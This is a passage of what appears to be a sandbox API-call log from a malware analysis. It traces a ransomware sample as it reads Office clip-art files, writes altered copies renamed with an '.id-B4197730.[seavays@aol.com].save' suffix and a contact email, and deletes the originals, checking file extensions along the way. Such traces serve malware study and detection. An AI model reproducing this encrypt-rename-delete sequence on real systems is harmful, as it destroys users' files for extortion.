Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0185.227] lstrlenW (lpString=".1cd") returned 4 [0185.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0185.227] lstrlenW (lpString=".jpg") returned 4 [0185.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.228] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=8136) returned 1 [0185.228] CloseHandle (hObject=0x2a8) returned 1 [0185.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf")) returned 0x220 [0185.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0185.229] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.229] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0185.231] GetLastError () returned 0x0 [0185.231] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1fc8, lpOverlapped=0x0) returned 1 [0185.233] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1fd0, lpOverlapped=0x0) returned 1 [0185.234] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0185.234] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0185.234] SetEndOfFile (hFile=0x444) returned 1 [0185.235] CloseHandle (hObject=0x444) returned 1 [0185.235] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.235] SetEndOfFile (hFile=0x2a8) returned 1 [0185.238] CloseHandle (hObject=0x2a8) returned 1 [0185.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf")) returned 1 [0185.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0185.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0185.240] lstrlenW (lpString=".doc") returned 4 [0185.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.240] lstrlenW (lpString=".docx") returned 5 [0185.240] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0185.240] lstrlenW (lpString=".pdf") returned 4 [0185.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.240] lstrlenW (lpString=".xls") returned 4 [0185.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.240] lstrlenW (lpString=".xlsx") returned 5 [0185.240] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0185.240] lstrlenW (lpString=".ppt") returned 4 [0185.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0185.240] lstrlenW (lpString=".zip") returned 4 [0185.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.240] lstrlenW (lpString=".rar") returned 4 [0185.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.240] lstrlenW (lpString=".bz2") returned 4 [0185.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.241] lstrlenW (lpString=".7z") returned 3 [0185.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0185.241] lstrlenW (lpString=".dbf") returned 4 [0185.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0185.241] lstrlenW (lpString=".1cd") returned 4 [0185.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68 [0185.241] lstrlenW (lpString=".jpg") returned 4 [0185.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.242] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=8880) returned 1 [0185.242] CloseHandle (hObject=0x2a8) returned 1 [0185.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 0x220 [0185.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0185.244] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.244] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0185.413] GetLastError () returned 0x0 [0185.413] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x22b0, lpOverlapped=0x0) returned 1 [0185.445] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x22c0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x22c0, lpOverlapped=0x0) returned 1 [0185.447] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0185.447] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0185.447] SetEndOfFile (hFile=0x444) returned 1 [0185.447] CloseHandle (hObject=0x444) returned 1 [0185.447] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.447] SetEndOfFile (hFile=0x2a8) returned 1 [0185.450] CloseHandle (hObject=0x2a8) returned 1 [0185.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 1 [0185.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0185.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0185.452] lstrlenW (lpString=".doc") returned 4 [0185.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.452] lstrlenW (lpString=".docx") returned 5 [0185.452] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0185.452] lstrlenW (lpString=".pdf") returned 4 [0185.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.452] lstrlenW (lpString=".xls") returned 4 [0185.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.452] lstrlenW (lpString=".xlsx") returned 5 [0185.452] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0185.452] lstrlenW (lpString=".ppt") returned 4 [0185.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0185.452] lstrlenW (lpString=".zip") returned 4 [0185.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.453] lstrlenW (lpString=".rar") returned 4 [0185.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.453] lstrlenW (lpString=".bz2") returned 4 [0185.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.453] lstrlenW (lpString=".7z") returned 3 [0185.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0185.453] lstrlenW (lpString=".dbf") returned 4 [0185.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0185.453] lstrlenW (lpString=".1cd") returned 4 [0185.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0185.453] lstrlenW (lpString=".jpg") returned 4 [0185.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.455] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=38488) returned 1 [0185.455] CloseHandle (hObject=0x2a8) returned 1 [0185.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf")) returned 0x220 [0185.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0185.457] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.457] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0185.458] GetLastError () returned 0x0 [0185.458] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x9658, lpOverlapped=0x0) returned 1 [0185.462] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x9660, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x9660, lpOverlapped=0x0) returned 1 [0185.464] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0185.464] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0185.465] SetEndOfFile (hFile=0x444) returned 1 [0185.465] CloseHandle (hObject=0x444) returned 1 [0185.465] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.465] SetEndOfFile (hFile=0x2a8) returned 1 [0185.471] CloseHandle (hObject=0x2a8) returned 1 [0185.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf")) returned 1 [0185.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0185.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0185.473] lstrlenW (lpString=".doc") returned 4 [0185.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.473] lstrlenW (lpString=".docx") returned 5 [0185.473] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0185.473] lstrlenW (lpString=".pdf") returned 4 [0185.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.473] lstrlenW (lpString=".xls") returned 4 [0185.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.473] lstrlenW (lpString=".xlsx") returned 5 [0185.473] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0185.473] lstrlenW (lpString=".ppt") returned 4 [0185.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0185.473] lstrlenW (lpString=".zip") returned 4 [0185.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.473] lstrlenW (lpString=".rar") returned 4 [0185.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.474] lstrlenW (lpString=".bz2") returned 4 [0185.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.474] lstrlenW (lpString=".7z") returned 3 [0185.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0185.474] lstrlenW (lpString=".dbf") returned 4 [0185.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0185.474] lstrlenW (lpString=".1cd") returned 4 [0185.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0185.474] lstrlenW (lpString=".jpg") returned 4 [0185.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.476] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=15448) returned 1 [0185.476] CloseHandle (hObject=0x2a8) returned 1 [0185.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf")) returned 0x220 [0185.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0185.477] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.477] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0185.479] GetLastError () returned 0x0 [0185.479] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x3c58, lpOverlapped=0x0) returned 1 [0185.760] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x3c60, lpOverlapped=0x0) returned 1 [0185.848] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0185.848] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0185.848] SetEndOfFile (hFile=0x444) returned 1 [0185.855] CloseHandle (hObject=0x444) returned 1 [0185.856] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.856] SetEndOfFile (hFile=0x2a8) returned 1 [0185.861] CloseHandle (hObject=0x2a8) returned 1 [0185.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf")) returned 1 [0185.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0185.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0185.892] lstrlenW (lpString=".doc") returned 4 [0185.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.892] lstrlenW (lpString=".docx") returned 5 [0185.892] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0185.892] lstrlenW (lpString=".pdf") returned 4 [0185.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.892] lstrlenW (lpString=".xls") returned 4 [0185.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.892] lstrlenW (lpString=".xlsx") returned 5 [0185.892] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0185.893] lstrlenW (lpString=".ppt") returned 4 [0185.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0185.893] lstrlenW (lpString=".zip") returned 4 [0185.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.893] lstrlenW (lpString=".rar") returned 4 [0185.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.893] lstrlenW (lpString=".bz2") returned 4 [0185.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.893] lstrlenW (lpString=".7z") returned 3 [0185.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0185.893] lstrlenW (lpString=".dbf") returned 4 [0185.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0185.893] lstrlenW (lpString=".1cd") returned 4 [0185.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0185.893] lstrlenW (lpString=".jpg") returned 4 [0185.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.898] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=7432) returned 1 [0185.898] CloseHandle (hObject=0x530) returned 1 [0185.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf")) returned 0x220 [0185.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0185.900] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.900] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0185.902] GetLastError () returned 0x0 [0185.902] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1d08, lpOverlapped=0x0) returned 1 [0185.904] WriteFile (in: hFile=0x558, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1d10, lpOverlapped=0x0) returned 1 [0185.906] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: 